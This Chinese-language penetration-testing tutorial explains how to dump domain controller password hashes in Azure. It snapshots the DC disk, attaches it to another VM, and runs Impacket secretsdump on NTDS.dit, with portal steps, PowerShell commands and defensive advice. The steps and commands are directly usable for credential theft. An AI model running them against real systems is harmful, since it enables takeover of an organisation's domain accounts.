通过 4 个简单的步骤获取 Azure 中的 DC 哈希
字数 1127 2025-08-25 22:58:20

从Azure域控制器提取密码哈希的完整指南

概述

本指南详细介绍了如何通过4个步骤从Azure环境中运行的域控制器(DC)中提取密码哈希(NTLM哈希)。这种方法利用了Azure的快照功能,无需直接与域控制器交互,适用于红队评估和渗透测试场景。

前提条件

  • 拥有对Azure中域控制器的访问权限
  • 具备基本的Azure门户操作知识
  • 了解Active Directory基础架构

方法一:通过Azure门户操作

1. 拍摄DC磁盘快照

  1. 登录Azure门户
  2. 导航到目标域控制器的虚拟机页面
  3. 点击"Create snapshot"按钮
  4. 填写快照名称并选择正确的资源组
  5. 确认区域与源虚拟机相同
  6. 点击"Create"创建快照

2. 将快照转换为可安装的虚拟磁盘

  1. 在Azure门户中,点击"All services"
  2. 搜索并选择"Disks"服务
  3. 点击"Add"创建新磁盘
  4. 设置"Source type"为"Snapshot"
  5. 选择之前创建的快照作为"Source snapshot"
  6. 确保磁盘创建区域与快照区域一致
  7. 完成磁盘创建

3. 将磁盘连接到虚拟机

  1. 创建或选择一台现有的虚拟机(推荐使用Debian等Linux系统)
  2. 在虚拟机配置中添加数据磁盘
  3. 选择之前创建的包含哈希的磁盘
  4. 完成虚拟机配置

4. 提取哈希

  1. 登录到挂载了磁盘的虚拟机
  2. 访问挂载的磁盘卷
  3. 复制SYSTEMNTDS.dit文件到工作目录
  4. 使用Impacket工具包中的secretsdump.py提取哈希:
    python secretsdump.py -system SYSTEM -ntds NTDS.dit LOCAL
    

方法二:通过PowerShell自动化操作

1. 设置PowerShell与Azure交互

# 导入Azure模块
Import-Module Az

# 登录Azure账户
Connect-AzAccount

2. 获取虚拟机信息

# 列出资源组
Get-AzResourceGroup

# 列出特定资源组中的虚拟机
Get-AzVm -ResourceGroupName "InternalDomain"

3. 创建快照

# 获取虚拟机信息
$vm = Get-AzVm -ResourceGroupName "InternalDomain" -Name "Server2016DC"

# 创建快照配置
$snapshotConfig = New-AzSnapshotConfig -SourceUri $vm.StorageProfile.OsDisk.ManagedDisk.Id -Location $vm.Location -CreateOption copy

# 创建快照
New-AzSnapshot -Snapshot $snapshotConfig -SnapshotName "DCSnapshot" -ResourceGroupName "InternalDomain"

4. 将快照转换为虚拟磁盘

# 获取快照信息
$snapshot = Get-AzSnapshot -ResourceGroupName "InternalDomain" -SnapshotName "DCSnapshot"

# 创建磁盘配置
$diskConfig = New-AzDiskConfig -Location $snapshot.Location -SourceResourceId $snapshot.Id -CreateOption Copy

# 创建磁盘
New-AzDisk -Disk $diskConfig -ResourceGroupName "InternalDomain" -DiskName "DCHashDisk"

5. 将磁盘附加到虚拟机

# 获取目标虚拟机信息
$targetVM = Get-AzVm -ResourceGroupName "InternalDomain" -Name "DebianVM"

# 添加数据磁盘
Add-AzVMDataDisk -VM $targetVM -Name "DCHashDisk" -CreateOption Attach -ManagedDiskId (Get-AzDisk -ResourceGroupName "InternalDomain" -DiskName "DCHashDisk").Id -Lun 1

# 更新虚拟机配置
Update-AzVM -ResourceGroupName "InternalDomain" -VM $targetVM

防御措施

  1. 启用多因素认证(MFA):确保所有Azure管理员账户都启用了MFA
  2. 实施最小权限原则:限制对敏感系统/数据的访问权限
  3. 限制快照权限:创建规则防止非管理员用户制作磁盘快照
  4. 控制API权限:限制Microsoft.Compute/snapshots/write权限
  5. 监控异常活动:设置警报监控异常的磁盘快照创建行为

结论

这种方法展示了云环境中潜在的安全风险,攻击者可以在不直接接触域控制器的情况下获取敏感凭证。组织应定期审查云资源配置和权限分配,确保遵循安全最佳实践。

工具推荐

  • Impacket:用于从NTDS.dit文件中提取哈希
  • Azure PowerShell模块:用于自动化操作
  • Azure CLI:替代PowerShell的跨平台选择

注意事项

  • 本指南仅用于合法的安全评估和渗透测试
  • 在实际操作前确保获得适当的授权
  • 操作完成后及时清理创建的资源和磁盘
从Azure域控制器提取密码哈希的完整指南 概述 本指南详细介绍了如何通过4个步骤从Azure环境中运行的域控制器(DC)中提取密码哈希(NTLM哈希)。这种方法利用了Azure的快照功能,无需直接与域控制器交互,适用于红队评估和渗透测试场景。 前提条件 拥有对Azure中域控制器的访问权限 具备基本的Azure门户操作知识 了解Active Directory基础架构 方法一:通过Azure门户操作 1. 拍摄DC磁盘快照 登录Azure门户 导航到目标域控制器的虚拟机页面 点击"Create snapshot"按钮 填写快照名称并选择正确的资源组 确认区域与源虚拟机相同 点击"Create"创建快照 2. 将快照转换为可安装的虚拟磁盘 在Azure门户中,点击"All services" 搜索并选择"Disks"服务 点击"Add"创建新磁盘 设置"Source type"为"Snapshot" 选择之前创建的快照作为"Source snapshot" 确保磁盘创建区域与快照区域一致 完成磁盘创建 3. 将磁盘连接到虚拟机 创建或选择一台现有的虚拟机(推荐使用Debian等Linux系统) 在虚拟机配置中添加数据磁盘 选择之前创建的包含哈希的磁盘 完成虚拟机配置 4. 提取哈希 登录到挂载了磁盘的虚拟机 访问挂载的磁盘卷 复制 SYSTEM 和 NTDS.dit 文件到工作目录 使用Impacket工具包中的 secretsdump.py 提取哈希: 方法二:通过PowerShell自动化操作 1. 设置PowerShell与Azure交互 2. 获取虚拟机信息 3. 创建快照 4. 将快照转换为虚拟磁盘 5. 将磁盘附加到虚拟机 防御措施 启用多因素认证(MFA) :确保所有Azure管理员账户都启用了MFA 实施最小权限原则 :限制对敏感系统/数据的访问权限 限制快照权限 :创建规则防止非管理员用户制作磁盘快照 控制API权限 :限制 Microsoft.Compute/snapshots/write 权限 监控异常活动 :设置警报监控异常的磁盘快照创建行为 结论 这种方法展示了云环境中潜在的安全风险,攻击者可以在不直接接触域控制器的情况下获取敏感凭证。组织应定期审查云资源配置和权限分配,确保遵循安全最佳实践。 工具推荐 Impacket :用于从NTDS.dit文件中提取哈希 Azure PowerShell模块 :用于自动化操作 Azure CLI :替代PowerShell的跨平台选择 注意事项 本指南仅用于合法的安全评估和渗透测试 在实际操作前确保获得适当的授权 操作完成后及时清理创建的资源和磁盘